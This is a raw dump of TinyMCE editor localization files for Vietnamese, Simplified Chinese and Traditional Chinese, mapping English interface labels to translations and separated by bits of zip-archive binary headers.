"Tr\u00ecnh duy\u1ec7t c\u1ee7a b\u1ea1n kh\u00f4ng h\u1ed7 tr\u1ee3
truy c\u1eadp truy c\u1eadp b\u1ed9 nh\u1edb \u1ea3o, vui l\u00f2ng s\u1eed
d\u1ee5ng c\u00e1c t\u1ed5 h\u1ee3p ph\u00edm Ctrl + X, C, V.",
"Div": "Khung",
"Paste": "D\u00e1n",
"Close": "\u0110\u00f3ng L\u1ea1i",
"Font Family": "Font Family",
"Pre": "\u0110\u1ecbnh d\u1ea1ng",
"Align right": "Canh ph\u1ea3i",
"New document": "T\u1ea1o t\u00e0i li\u1ec7u m\u1edbi",
"Blockquote": "\u0110o\u1ea1n Tr\u00edch D\u1eabn",
"Numbered list": "Danh s\u00e1ch d\u1ea1ng s\u1ed1",
"Increase indent": "T\u0103ng kho\u1ea3ng c\u00e1ch
d\u00f2ng",
"Formats": "\u0110\u1ecbnh d\u1ea1ng",
"Headers": "\u0110\u1ea7u trang",
"Select all": "Ch\u1ecdn t\u1ea5t c\u1ea3",
"Header 3": "Ti\u00eau \u0111\u1ec1 3",
"Blocks": "Bao",
"Undo": "H\u1ee7y thao t\u00e1c",
"Strikethrough": "G\u1ea1ch ngang",
"Bullet list": "Danh s\u00e1ch d\u1ea1ng bi\u1ec3u
t\u01b0\u1ee3ng",
"Header 1": "Ti\u00eau \u0111\u1ec1 1",
"Superscript": "K\u00fd t\u1ef1 m\u0169",
"Clear formatting": "L\u01b0\u1ee3c b\u1ecf ph\u1ea7n
hi\u1ec7u \u1ee9ng",
"Font Sizes": "Font Sizes",
"Subscript": "K\u00fd t\u1ef1 th\u1ea5p",
"Header 6": "Ti\u00eau \u0111\u1ec1 6",
"Redo": "L\u00e0m l\u1ea1i",
"Paragraph": "\u0110o\u1ea1n v\u0103n",
"Ok": "\u0110\u1ed3ng \u00dd",
"Bold": "In \u0111\u1eadm",
"Code": "M\u00e3",
"Italic": "In nghi\u00eang",
"Align center": "Canh gi\u1eefa",
"Header 5": "Ti\u00eau \u0111\u1ec1 5",
"Decrease indent": "Th\u1ee5t l\u00f9i d\u00f2ng",
"Header 4": "Ti\u00eau \u0111\u1ec1 4",
"Paste is now in plain text mode. Contents will now be pasted as plain
text until you toggle this option off.": "Ch\u1ee9c n\u0103ng
D\u00e1n \u0111ang trong tr\u1ea1ng th\u00e1i v\u0103n b\u1ea3n
\u0111\u01a1n gi\u1ea3n. N\u1ed9i dung s\u1ebd \u0111\u01b0\u1ee3c d\u00e1n
d\u01b0\u1edbi d\u1ea1ng v\u0103n b\u1ea3n thu\u1ea7n, kh\u00f4ng c\u00f3
\u0111\u1ecbnh d\u1ea1ng.",
"Underline": "G\u1ea1ch d\u01b0\u1edbi",
"Cancel": "Hu\u1ef7 B\u1ecf",
"Justify": "Canh \u0111\u1ec1u hai b\u00ean",
"Inline": "C\u00f9ng d\u00f2ng",
"Copy": "Sao ch\u00e9p",
"Align left": "Canh tr\u00e1i",
"Visual aids": "M\u1edf khung so\u1ea1n th\u1ea3o",
"Lower Greek": "S\u1ed1 hy l\u1ea1p th\u01b0\u1eddng",
"Square": "\u00d4 vu\u00f4ng",
"Default": "M\u1eb7c \u0111\u1ecbnh",
"Lower Alpha": "K\u00fd t\u1ef1 th\u01b0\u1eddng",
"Circle": "H\u00ecnh tr\u00f2n",
"Disc": "H\u00ecnh tr\u00f2n  d\u1ea1ng m\u1ecfng",
"Upper Alpha": "K\u00fd t\u1ef1 hoa",
"Upper Roman": "S\u1ed1 la m\u00e3 hoa",
"Lower Roman": "S\u1ed1 la m\u00e3 th\u01b0\u1eddng",
"Name": "Name",
"Anchor": "Anchor",
"You have unsaved changes are you sure you want to navigate
away?": "B\u1ea1n ch\u01b0a l\u01b0u thay \u0111\u1ed5i b\u1ea1n
c\u00f3 ch\u1eafc b\u1ea1n mu\u1ed1n di chuy\u1ec3n \u0111i?",
"Restore last draft": "Kh\u00f4i ph\u1ee5c b\u1ea3n g\u1ea7n
nh\u1ea5t",
"Special character": "Special character",
"Source code": "M\u00e3 ngu\u1ed3n",
"Right to left": "Right to left",
"Left to right": "Left to right",
"Emoticons": "Bi\u1ec3u t\u01b0\u1ee3ng c\u1ea3m
x\u00fac",
"Robots": "Robots",
"Document properties": "Thu\u1ed9c t\u00ednh t\u00e0i
li\u1ec7u",
"Title": "Ti\u00eau \u0111\u1ec1",
"Keywords": "T\u1eeb kh\u00f3a",
"Encoding": "M\u00e3 h\u00f3a",
"Description": "Description",
"Author": "T\u00e1c gi\u1ea3",
"Fullscreen": "Fullscreen",
"Horizontal line": "K\u1ebb ngang",
"Horizontal space": "N\u1eb1m ngang",
"Insert\/edit image": "Ch\u00e8n\/s\u1eeda \u1ea3nh",
"General": "Chung",
"Advanced": "N\u00e2ng cao",
"Source": "Ngu\u1ed3n",
"Border": "\u0110\u01b0\u1eddng vi\u1ec1n",
"Constrain proportions": "T\u1ef7 l\u1ec7 h\u1ea1n
ch\u1ebf",
"Vertical space": "N\u1eb1m d\u1ecdc",
"Image description": "M\u00f4 t\u1ea3 \u1ea3nh",
"Style": "Ki\u1ec3u",
"Dimensions": "K\u00edch th\u01b0\u1edbc",
"Insert image": "Ch\u00e8n \u1ea3nh",
"Insert date\/time": "Insert date\/time",
"Remove link": "B\u1ecf li\u00ean k\u1ebft",
"Url": "Url",
"Text to display": "N\u1ed9i dung hi\u1ec3n th\u1ecb",
"Anchors": "Anchors",
"Insert link": "Ch\u00e8n li\u00ean k\u1ebft",
"New window": "C\u1eeda s\u1ed5 m\u1edbi",
"None": "Kh\u00f4ng",
"The URL you entered seems to be an external link. Do you want to add
the required http:\/\/ prefix?": "The URL you entered seems to be
an external link. Do you want to add the required http:\/\/ prefix?",
"Target": "\u0110\u00edch",
"The URL you entered seems to be an email address. Do you want to add
the required mailto: prefix?": "The URL you entered seems to be
an email address. Do you want to add the required mailto: prefix?",
"Insert\/edit link": "Ch\u00e8n\/s\u1eeda li\u00ean
k\u1ebft",
"Insert\/edit video": "Ch\u00e8n\/s\u1eeda video",
"Poster": "Ng\u01b0\u1eddi g\u1eedi",
"Alternative source": "Ngu\u1ed3n thay th\u1ebf",
"Paste your embed code below:": "D\u00e1n m\u00e3 nh\u00fang
c\u1ee7a b\u1ea1n d\u01b0\u1edbi \u0111\u00e2y:",
"Insert video": "Ch\u00e8n video",
"Embed": "Nh\u00fang",
"Nonbreaking space": "Nonbreaking space",
"Page break": "Ng\u1eaft trang",
"Paste as text": "D\u00e1n \u0111o\u1ea1n v\u0103n
b\u1ea3n",
"Preview": "Xem th\u1eed",
"Print": "In",
"Save": "L\u01b0u",
"Could not find the specified string.": "Could not find the
specified string.",
"Replace": "Replace",
"Next": "Next",
"Whole words": "To\u00e0n b\u1ed9 t\u1eeb",
"Find and replace": "Find and replace",
"Replace with": "Replace with",
"Find": "Find",
"Replace all": "Thay t\u1ea5t c\u1ea3",
"Match case": "Match case",
"Prev": "Tr\u01b0\u1edbc",
"Spellcheck": "Ki\u1ec3m tra ch\u00ednh t\u1ea3",
"Finish": "Ho\u00e0n t\u1ea5t",
"Ignore all": "B\u1ecf qua t\u1ea5t",
"Ignore": "B\u1ecf qua",
"Insert row before": "Th\u00eam d\u00f2ng ph\u00eda
tr\u00ean",
"Rows": "D\u00f2ng",
"Height": "\u0110\u1ed9 Cao",
"Paste row after": "D\u00e1n v\u00e0o ph\u00eda sau,
d\u01b0\u1edbi",
"Alignment": "Canh ch\u1ec9nh",
"Column group": "Gom nh\u00f3m c\u1ed9t",
"Row": "D\u00f2ng",
"Insert column before": "Th\u00eam c\u1ed9t b\u00ean
tr\u00e1i",
"Split cell": "Chia c\u1eaft \u00f4",
"Cell padding": "Kho\u1ea3ng c\u00e1ch trong \u00f4",
"Cell spacing": "Kho\u1ea3ng c\u00e1ch \u00f4",
"Row type": "Th\u1ec3 lo\u1ea1i d\u00f2ng",
"Insert table": "Th\u00eam b\u1ea3ng",
"Body": "N\u1ed9i dung",
"Caption": "Ti\u00eau \u0111\u1ec1",
"Footer": "Ch\u00e2n",
"Delete row": "Xo\u00e1 d\u00f2ng",
"Paste row before": "D\u00e1n v\u00e0o ph\u00eda
tr\u01b0\u1edbc, tr\u00ean",
"Scope": "Quy\u1ec1n",
"Delete table": "Xo\u00e1 b\u1ea3ng",
"Header cell": "Ti\u00eau \u0111\u1ec1 \u00f4",
"Column": "C\u1ed9t",
"Cell": "\u00d4",
"Header": "Ti\u00eau \u0111\u1ec1",
"Cell type": "Lo\u1ea1i \u00f4",
"Copy row": "Sao ch\u00e9p d\u00f2ng",
"Row properties": "Thu\u1ed9c t\u00ednh d\u00f2ng",
"Table properties": "Thu\u1ed9c t\u00ednh b\u1ea3ng",
"Row group": "Gom nh\u00f3m d\u00f2ng",
"Right": "Ph\u1ea3i",
"Insert column after": "Th\u00eam c\u1ed9t b\u00ean
ph\u1ea3i",
"Cols": "C\u1ed9t",
"Insert row after": "Th\u00eam d\u00f2ng ph\u00eda
d\u01b0\u1edbi",
"Width": "\u0110\u1ed9 R\u1ed9ng",
"Cell properties": "Thu\u1ed9c t\u00ednh \u00f4",
"Left": "Tr\u00e1i",
"Cut row": "C\u1eaft d\u00f2ng",
"Delete column": "Xo\u00e1 c\u1ed9t",
"Center": "Gi\u1eefa",
"Merge cells": "Tr\u1ed9n \u00f4",
"Insert template": "Insert template",
"Templates": "Templates",
"Background color": "M\u00e0u n\u1ec1n",
"Text color": "M\u00e0u v\u0103n b\u1ea3n",
"Show blocks": "Show blocks",
"Show invisible characters": "Hi\u1ec3n th\u1ecb k\u00fd
t\u1ef1 \u1ea9n",
"Words: {0}": "Words: {0}",
"Insert": "Insert",
"File": "File",
"Edit": "Edit",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar.
Press ALT-0 for help": "Rich Text Area. Press ALT-F9 for menu.
Press ALT-F10 for toolbar. Press ALT-0 for help",
"Tools": "Tools",
"View": "View",
"Table": "Table",
"Format": "Format"
});PKR��[�^���&�&tinymce/langs/zh-CN.jsnu�[���tinymce.addI18n('zh-CN',{
"Cut": "\u526a\u5207",
"Heading 5": "\u6807\u98985",
"Header 2": "\u6807\u98982",
"Your browser doesn't support direct access to the clipboard.
Please use the Ctrl+X\/C\/V keyboard shortcuts instead.":
"\u4f60\u7684\u6d4f\u89c8\u5668\u4e0d\u652f\u6301\u5bf9\u526a\u8d34\u677f\u7684\u8bbf\u95ee\uff0c\u8bf7\u4f7f\u7528Ctrl+X\/C\/V\u952e\u8fdb\u884c\u590d\u5236\u7c98\u8d34\u3002",
"Heading 4": "\u6807\u98984",
"Div": "Div\u533a\u5757",
"Heading 2": "\u6807\u98982",
"Paste": "\u7c98\u8d34",
"Close": "\u5173\u95ed",
"Font Family": "\u5b57\u4f53",
"Pre": "\u9884\u683c\u5f0f\u6587\u672c",
"Align right": "\u53f3\u5bf9\u9f50",
"New document": "\u65b0\u6587\u6863",
"Blockquote": "\u5f15\u7528",
"Numbered list": "\u7f16\u53f7\u5217\u8868",
"Heading 1": "\u6807\u98981",
"Headings": "\u6807\u9898",
"Increase indent": "\u589e\u52a0\u7f29\u8fdb",
"Formats": "\u683c\u5f0f",
"Headers": "\u6807\u9898",
"Select all": "\u5168\u9009",
"Header 3": "\u6807\u98983",
"Blocks": "\u533a\u5757",
"Undo": "\u64a4\u6d88",
"Strikethrough": "\u5220\u9664\u7ebf",
"Bullet list": "\u9879\u76ee\u7b26\u53f7",
"Header 1": "\u6807\u98981",
"Superscript": "\u4e0a\u6807",
"Clear formatting": "\u6e05\u9664\u683c\u5f0f",
"Font Sizes": "\u5b57\u53f7",
"Subscript": "\u4e0b\u6807",
"Header 6": "\u6807\u98986",
"Redo": "\u91cd\u590d",
"Paragraph": "\u6bb5\u843d",
"Ok": "\u786e\u5b9a",
"Bold": "\u7c97\u4f53",
"Code": "\u4ee3\u7801",
"Italic": "\u659c\u4f53",
"Align center": "\u5c45\u4e2d",
"Header 5": "\u6807\u98985",
"Heading 6": "\u6807\u98986",
"Heading 3": "\u6807\u98983",
"Decrease indent": "\u51cf\u5c11\u7f29\u8fdb",
"Header 4": "\u6807\u98984",
"Paste is now in plain text mode. Contents will now be pasted as plain
text until you toggle this option off.":
"\u5f53\u524d\u4e3a\u7eaf\u6587\u672c\u7c98\u8d34\u6a21\u5f0f\uff0c\u518d\u6b21\u70b9\u51fb\u53ef\u4ee5\u56de\u5230\u666e\u901a\u7c98\u8d34\u6a21\u5f0f\u3002",
"Underline": "\u4e0b\u5212\u7ebf",
"Cancel": "\u53d6\u6d88",
"Justify": "\u4e24\u7aef\u5bf9\u9f50",
"Inline": "\u6587\u672c",
"Copy": "\u590d\u5236",
"Align left": "\u5de6\u5bf9\u9f50",
"Visual aids": "\u7f51\u683c\u7ebf",
"Lower Greek": "\u5c0f\u5199\u5e0c\u814a\u5b57\u6bcd",
"Square": "\u65b9\u5757",
"Default": "\u9ed8\u8ba4",
"Lower Alpha": "\u5c0f\u5199\u82f1\u6587\u5b57\u6bcd",
"Circle": "\u7a7a\u5fc3\u5706",
"Disc": "\u5b9e\u5fc3\u5706",
"Upper Alpha": "\u5927\u5199\u82f1\u6587\u5b57\u6bcd",
"Upper Roman": "\u5927\u5199\u7f57\u9a6c\u5b57\u6bcd",
"Lower Roman": "\u5c0f\u5199\u7f57\u9a6c\u5b57\u6bcd",
"Id should start with a letter, followed only by letters, numbers,
dashes, dots, colons or underscores.":
"\u6807\u8bc6\u7b26\u5e94\u8be5\u4ee5\u5b57\u6bcd\u5f00\u5934\uff0c\u540e\u8ddf\u5b57\u6bcd\u3001\u6570\u5b57\u3001\u7834\u6298\u53f7\u3001\u70b9\u3001\u5192\u53f7\u6216\u4e0b\u5212\u7ebf\u3002",
"Name": "\u540d\u79f0",
"Anchor": "\u951a\u70b9",
"Id": "\u6807\u8bc6\u7b26",
"You have unsaved changes are you sure you want to navigate
away?":
"\u4f60\u8fd8\u6709\u6587\u6863\u5c1a\u672a\u4fdd\u5b58\uff0c\u786e\u5b9a\u8981\u79bb\u5f00\uff1f",
"Restore last draft":
"\u6062\u590d\u4e0a\u6b21\u7684\u8349\u7a3f",
"Special character": "\u7279\u6b8a\u7b26\u53f7",
"Source code": "\u6e90\u4ee3\u7801",
"Language": "\u8bed\u8a00",
"Insert\/Edit code sample":
"\u63d2\u5165\/\u7f16\u8f91\u4ee3\u7801\u793a\u4f8b",
"B": "B",
"R": "R",
"G": "G",
"Color": "\u989c\u8272",
"Right to left": "\u4ece\u53f3\u5230\u5de6",
"Left to right": "\u4ece\u5de6\u5230\u53f3",
"Emoticons": "\u8868\u60c5",
"Robots": "\u673a\u5668\u4eba",
"Document properties": "\u6587\u6863\u5c5e\u6027",
"Title": "\u6807\u9898",
"Keywords": "\u5173\u952e\u8bcd",
"Encoding": "\u7f16\u7801",
"Description": "\u63cf\u8ff0",
"Author": "\u4f5c\u8005",
"Fullscreen": "\u5168\u5c4f",
"Horizontal line": "\u6c34\u5e73\u5206\u5272\u7ebf",
"Horizontal space": "\u6c34\u5e73\u8fb9\u8ddd",
"Insert\/edit image":
"\u63d2\u5165\/\u7f16\u8f91\u56fe\u7247",
"General": "\u666e\u901a",
"Advanced": "\u9ad8\u7ea7",
"Source": "\u5730\u5740",
"Border": "\u8fb9\u6846",
"Constrain proportions":
"\u4fdd\u6301\u7eb5\u6a2a\u6bd4",
"Vertical space": "\u5782\u76f4\u8fb9\u8ddd",
"Image description": "\u56fe\u7247\u63cf\u8ff0",
"Style": "\u6837\u5f0f",
"Dimensions": "\u5927\u5c0f",
"Insert image": "\u63d2\u5165\u56fe\u7247",
"Image": "\u56fe\u7247",
"Zoom in": "\u653e\u5927",
"Contrast": "\u5bf9\u6bd4\u5ea6",
"Back": "\u540e\u9000",
"Gamma": "\u4f3d\u9a6c\u503c",
"Flip horizontally": "\u6c34\u5e73\u7ffb\u8f6c",
"Resize": "\u8c03\u6574\u5927\u5c0f",
"Sharpen": "\u9510\u5316",
"Zoom out": "\u7f29\u5c0f",
"Image options": "\u56fe\u7247\u9009\u9879",
"Apply": "\u5e94\u7528",
"Brightness": "\u4eae\u5ea6",
"Rotate clockwise": "\u987a\u65f6\u9488\u65cb\u8f6c",
"Rotate counterclockwise":
"\u9006\u65f6\u9488\u65cb\u8f6c",
"Edit image": "\u7f16\u8f91\u56fe\u7247",
"Color levels": "\u989c\u8272\u5c42\u6b21",
"Crop": "\u88c1\u526a",
"Orientation": "\u65b9\u5411",
"Flip vertically": "\u5782\u76f4\u7ffb\u8f6c",
"Invert": "\u53cd\u8f6c",
"Date\/time": "\u65e5\u671f\/\u65f6\u95f4",
"Insert date\/time":
"\u63d2\u5165\u65e5\u671f\/\u65f6\u95f4",
"Remove link": "\u5220\u9664\u94fe\u63a5",
"Url": "\u5730\u5740",
"Text to display": "\u663e\u793a\u6587\u5b57",
"Anchors": "\u951a\u70b9",
"Insert link": "\u63d2\u5165\u94fe\u63a5",
"Link": "\u94fe\u63a5",
"New window": "\u5728\u65b0\u7a97\u53e3\u6253\u5f00",
"None": "\u65e0",
"The URL you entered seems to be an external link. Do you want to add
the required http:\/\/ prefix?":
"\u4f60\u6240\u586b\u5199\u7684URL\u5730\u5740\u5c5e\u4e8e\u5916\u90e8\u94fe\u63a5\uff0c\u9700\u8981\u52a0\u4e0ahttp:\/\/:\u524d\u7f00\u5417\uff1f",
"Paste or type a link":
"\u7c98\u8d34\u6216\u8f93\u5165\u94fe\u63a5",
"Target": "\u6253\u5f00\u65b9\u5f0f",
"The URL you entered seems to be an email address. Do you want to add
the required mailto: prefix?":
"\u4f60\u6240\u586b\u5199\u7684URL\u5730\u5740\u4e3a\u90ae\u4ef6\u5730\u5740\uff0c\u9700\u8981\u52a0\u4e0amailto:\u524d\u7f00\u5417\uff1f",
"Insert\/edit link":
"\u63d2\u5165\/\u7f16\u8f91\u94fe\u63a5",
"Insert\/edit video":
"\u63d2\u5165\/\u7f16\u8f91\u89c6\u9891",
"Media": "\u5a92\u4f53",
"Alternative source": "\u955c\u50cf",
"Paste your embed code below:":
"\u5c06\u5185\u5d4c\u4ee3\u7801\u7c98\u8d34\u5728\u4e0b\u9762:",
"Insert video": "\u63d2\u5165\u89c6\u9891",
"Poster": "\u5c01\u9762",
"Insert\/edit media":
"\u63d2\u5165\/\u7f16\u8f91\u5a92\u4f53",
"Embed": "\u5185\u5d4c",
"Nonbreaking space": "\u4e0d\u95f4\u65ad\u7a7a\u683c",
"Page break": "\u5206\u9875\u7b26",
"Paste as text": "\u7c98\u8d34\u4e3a\u6587\u672c",
"Preview": "\u9884\u89c8",
"Print": "\u6253\u5370",
"Save": "\u4fdd\u5b58",
"Could not find the specified string.":
"\u672a\u627e\u5230\u641c\u7d22\u5185\u5bb9.",
"Replace": "\u66ff\u6362",
"Next": "\u4e0b\u4e00\u4e2a",
"Whole words": "\u5168\u5b57\u5339\u914d",
"Find and replace": "\u67e5\u627e\u548c\u66ff\u6362",
"Replace with": "\u66ff\u6362\u4e3a",
"Find": "\u67e5\u627e",
"Replace all": "\u5168\u90e8\u66ff\u6362",
"Match case": "\u533a\u5206\u5927\u5c0f\u5199",
"Prev": "\u4e0a\u4e00\u4e2a",
"Spellcheck": "\u62fc\u5199\u68c0\u67e5",
"Finish": "\u5b8c\u6210",
"Ignore all": "\u5168\u90e8\u5ffd\u7565",
"Ignore": "\u5ffd\u7565",
"Add to Dictionary": "\u6dfb\u52a0\u5230\u5b57\u5178",
"Insert row before": "\u5728\u4e0a\u65b9\u63d2\u5165",
"Rows": "\u884c",
"Height": "\u9ad8",
"Paste row after": "\u7c98\u8d34\u5230\u4e0b\u65b9",
"Alignment": "\u5bf9\u9f50\u65b9\u5f0f",
"Border color": "\u8fb9\u6846\u989c\u8272",
"Column group": "\u5217\u7ec4",
"Row": "\u884c",
"Insert column before":
"\u5728\u5de6\u4fa7\u63d2\u5165",
"Split cell": "\u62c6\u5206\u5355\u5143\u683c",
"Cell padding": "\u5355\u5143\u683c\u5185\u8fb9\u8ddd",
"Cell spacing": "\u5355\u5143\u683c\u5916\u95f4\u8ddd",
"Row type": "\u884c\u7c7b\u578b",
"Insert table": "\u63d2\u5165\u8868\u683c",
"Body": "\u8868\u4f53",
"Caption": "\u6807\u9898",
"Footer": "\u8868\u5c3e",
"Delete row": "\u5220\u9664\u884c",
"Paste row before": "\u7c98\u8d34\u5230\u4e0a\u65b9",
"Scope": "\u8303\u56f4",
"Delete table": "\u5220\u9664\u8868\u683c",
"H Align": "\u6c34\u5e73\u5bf9\u9f50",
"Top": "\u9876\u90e8\u5bf9\u9f50",
"Header cell": "\u8868\u5934\u5355\u5143\u683c",
"Column": "\u5217",
"Row group": "\u884c\u7ec4",
"Cell": "\u5355\u5143\u683c",
"Middle": "\u5782\u76f4\u5c45\u4e2d",
"Cell type": "\u5355\u5143\u683c\u7c7b\u578b",
"Copy row": "\u590d\u5236\u884c",
"Row properties": "\u884c\u5c5e\u6027",
"Table properties": "\u8868\u683c\u5c5e\u6027",
"Bottom": "\u5e95\u90e8\u5bf9\u9f50",
"V Align": "\u5782\u76f4\u5bf9\u9f50",
"Header": "\u8868\u5934",
"Right": "\u53f3\u5bf9\u9f50",
"Insert column after":
"\u5728\u53f3\u4fa7\u63d2\u5165",
"Cols": "\u5217",
"Insert row after": "\u5728\u4e0b\u65b9\u63d2\u5165",
"Width": "\u5bbd",
"Cell properties": "\u5355\u5143\u683c\u5c5e\u6027",
"Left": "\u5de6\u5bf9\u9f50",
"Cut row": "\u526a\u5207\u884c",
"Delete column": "\u5220\u9664\u5217",
"Center": "\u5c45\u4e2d",
"Merge cells": "\u5408\u5e76\u5355\u5143\u683c",
"Insert template": "\u63d2\u5165\u6a21\u677f",
"Templates": "\u6a21\u677f",
"Background color": "\u80cc\u666f\u8272",
"Custom...": "\u81ea\u5b9a\u4e49...",
"Custom color": "\u81ea\u5b9a\u4e49\u989c\u8272",
"No color": "\u65e0",
"Text color": "\u6587\u5b57\u989c\u8272",
"Table of Contents": "\u5185\u5bb9\u5217\u8868",
"Show blocks": "\u663e\u793a\u533a\u5757\u8fb9\u6846",
"Show invisible characters":
"\u663e\u793a\u4e0d\u53ef\u89c1\u5b57\u7b26",
"Words: {0}": "\u5b57\u6570\uff1a{0}",
"Insert": "\u63d2\u5165",
"File": "\u6587\u4ef6",
"Edit": "\u7f16\u8f91",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar.
Press ALT-0 for help":
"\u5728\u7f16\u8f91\u533a\u6309ALT-F9\u6253\u5f00\u83dc\u5355\uff0c\u6309ALT-F10\u6253\u5f00\u5de5\u5177\u680f\uff0c\u6309ALT-0\u67e5\u770b\u5e2e\u52a9",
"Tools": "\u5de5\u5177",
"View": "\u89c6\u56fe",
"Table": "\u8868\u683c",
"Format": "\u683c\u5f0f"
});PKR��[t�S<CCtinymce/langs/zh-TW.jsnu�[���tinymce.addI18n('zh-TW',{
"Cut": "\u526a\u4e0b",
"Header 2": "\u6a19\u984c 2",
"Your browser doesn't support direct access to the clipboard.
Please use the Ctrl+X\/C\/V keyboard shortcuts instead.":
"\u60a8\u7684\u700f\u89bd\u5668\u4e0d\u652f\u63f4\u5b58\u53d6\u526a\u8cbc\u7c3f\uff0c\u53ef\u4ee5\u4f7f\u7528\u5feb\u901f\u9375
Ctrl + X\/C\/V
\u4ee3\u66ff\u526a\u4e0b\u3001\u8907\u88fd\u8207\u8cbc\u4e0a\u3002",
"Div": "Div",
"Paste": "\u8cbc\u4e0a",
"Close": "\u95dc\u9589",
"Font Family": "\u5b57\u9ad4",
"Pre": "Pre",
"Align right": "\u7f6e\u53f3\u5c0d\u9f4a",
"New document": "\u65b0\u6587\u4ef6",
"Blockquote": "\u5f15\u7528",
"Numbered list": "\u6578\u5b57\u6e05\u55ae",
"Increase indent": "\u589e\u52a0\u7e2e\u6392",
"Formats": "\u683c\u5f0f",
"Headers": "\u6a19\u984c",
"Select all": "\u5168\u9078",
"Header 3": "\u6a19\u984c 3",
"Blocks": "\u5340\u584a",
"Undo": "\u5fa9\u539f",
"Strikethrough": "\u522a\u9664\u7dda",
"Bullet list": "\u9805\u76ee\u6e05\u55ae",
"Header 1": "\u6a19\u984c 1",
"Superscript": "\u4e0a\u6a19",
"Clear formatting": "\u6e05\u9664\u683c\u5f0f",
"Font Sizes": "\u5b57\u578b\u5927\u5c0f",
"Subscript": "\u4e0b\u6a19",
"Header 6": "\u6a19\u984c 6",
"Redo": "\u53d6\u6d88\u5fa9\u539f",
"Paragraph": "\u6bb5\u843d",
"Ok": "\u78ba\u5b9a",
"Bold": "\u7c97\u9ad4",
"Code": "\u7a0b\u5f0f\u78bc",
"Italic": "\u659c\u9ad4",
"Align center": "\u7f6e\u4e2d\u5c0d\u9f4a",
"Header 5": "\u6a19\u984c 5",
"Decrease indent": "\u6e1b\u5c11\u7e2e\u6392",
"Header 4": "\u6a19\u984c 4",
"Paste is now in plain text mode. Contents will now be pasted as plain
text until you toggle this option off.":
"\u76ee\u524d\u5c07\u4ee5\u7d14\u6587\u5b57\u7684\u6a21\u5f0f\u8cbc\u4e0a\uff0c\u60a8\u53ef\u4ee5\u518d\u9ede\u9078\u4e00\u6b21\u53d6\u6d88\u3002",
"Underline": "\u5e95\u7dda",
"Cancel": "\u53d6\u6d88",
"Justify": "\u5de6\u53f3\u5c0d\u9f4a",
"Inline": "Inline",
"Copy": "\u8907\u88fd",
"Align left": "\u7f6e\u5de6\u5c0d\u9f4a",
"Visual aids": "\u5c0f\u5e6b\u624b",
"Lower Greek": "\u5e0c\u81d8\u5b57\u6bcd",
"Square": "\u6b63\u65b9\u5f62",
"Default": "\u9810\u8a2d",
"Lower Alpha": "\u5c0f\u5beb\u82f1\u6587\u5b57\u6bcd",
"Circle": "\u7a7a\u5fc3\u5713",
"Disc": "\u5be6\u5fc3\u5713",
"Upper Alpha": "\u5927\u5beb\u82f1\u6587\u5b57\u6bcd",
"Upper Roman": "\u5927\u5beb\u7f85\u99ac\u6578\u5b57",
"Lower Roman": "\u5c0f\u5beb\u7f85\u99ac\u6578\u5b57",
"Name": "\u540d\u7a31",
"Anchor": "\u52a0\u5165\u9328\u9ede",
"You have unsaved changes are you sure you want to navigate
away?":
"\u7de8\u8f2f\u5c1a\u672a\u88ab\u5132\u5b58\uff0c\u4f60\u78ba\u5b9a\u8981\u96e2\u958b\uff1f",
"Restore last draft":
"\u8f09\u5165\u4e0a\u4e00\u6b21\u7de8\u8f2f\u7684\u8349\u7a3f",
"Special character": "\u7279\u6b8a\u5b57\u5143",
"Source code": "\u539f\u59cb\u78bc",
"Right to left": "\u5f9e\u53f3\u5230\u5de6",
"Left to right": "\u5f9e\u5de6\u5230\u53f3",
"Emoticons": "\u8868\u60c5",
"Robots": "\u6a5f\u5668\u4eba",
"Document properties":
"\u6587\u4ef6\u7684\u5c6c\u6027",
"Title": "\u6a19\u984c",
"Keywords": "\u95dc\u9375\u5b57",
"Encoding": "\u7de8\u78bc",
"Description": "\u63cf\u8ff0",
"Author": "\u4f5c\u8005",
"Fullscreen": "\u5168\u87a2\u5e55",
"Horizontal line": "\u6c34\u5e73\u7dda",
"Horizontal space": "\u5bec\u5ea6",
"Insert\/edit image": "\u63d2\u5165\/\u7de8\u8f2f
\u5716\u7247",
"General": "\u4e00\u822c",
"Advanced": "\u9032\u968e",
"Source": "\u5716\u7247\u7db2\u5740",
"Border": "\u908a\u6846",
"Constrain proportions":
"\u7b49\u6bd4\u4f8b\u7e2e\u653e",
"Vertical space": "\u9ad8\u5ea6",
"Image description": "\u5716\u7247\u63cf\u8ff0",
"Style": "\u6a23\u5f0f",
"Dimensions": "\u5c3a\u5bf8",
"Insert image": "\u63d2\u5165\u5716\u7247",
"Insert date\/time": "\u63d2\u5165
\u65e5\u671f\/\u6642\u9593",
"Remove link": "\u79fb\u9664\u9023\u7d50",
"Url": "\u7db2\u5740",
"Text to display": "\u986f\u793a\u6587\u5b57",
"Anchors": "\u52a0\u5165\u9328\u9ede",
"Insert link": "\u63d2\u5165\u9023\u7d50",
"New window": "\u53e6\u958b\u8996\u7a97",
"None": "\u7121",
"The URL you entered seems to be an external link. Do you want to add
the required http:\/\/ prefix?": "The URL you entered seems to be
an external link. Do you want to add the required http:\/\/ prefix?",
"Target": "\u958b\u555f\u65b9\u5f0f",
"The URL you entered seems to be an email address. Do you want to add
the required mailto: prefix?": "The URL you entered seems to be
an email address. Do you want to add the required mailto: prefix?",
"Insert\/edit link":
"\u63d2\u5165\/\u7de8\u8f2f\u9023\u7d50",
"Insert\/edit video": "\u63d2\u4ef6\/\u7de8\u8f2f
\u5f71\u97f3",
"Poster": "\u9810\u89bd\u5716\u7247",
"Alternative source": "\u66ff\u4ee3\u5f71\u97f3",
"Paste your embed code below:":
"\u8acb\u5c07\u60a8\u7684\u5d4c\u5165\u5f0f\u7a0b\u5f0f\u78bc\u8cbc\u5728\u4e0b\u9762:",
"Insert video": "\u63d2\u5165\u5f71\u97f3",
"Embed": "\u5d4c\u5165\u78bc",
"Nonbreaking space":
"\u4e0d\u5206\u884c\u7684\u7a7a\u683c",
"Page break": "\u5206\u9801",
"Paste as text":
"\u4ee5\u7d14\u6587\u5b57\u8cbc\u4e0a",
"Preview": "\u9810\u89bd",
"Print": "\u5217\u5370",
"Save": "\u5132\u5b58",
"Could not find the specified string.":
"\u7121\u6cd5\u67e5\u8a62\u5230\u6b64\u7279\u5b9a\u5b57\u4e32",
"Replace": "\u66ff\u63db",
"Next": "\u4e0b\u4e00\u500b",
"Whole words": "\u6574\u500b\u55ae\u5b57",
"Find and replace": "\u5c0b\u627e\u53ca\u53d6\u4ee3",
"Replace with": "\u66f4\u63db",
"Find": "\u641c\u5c0b",
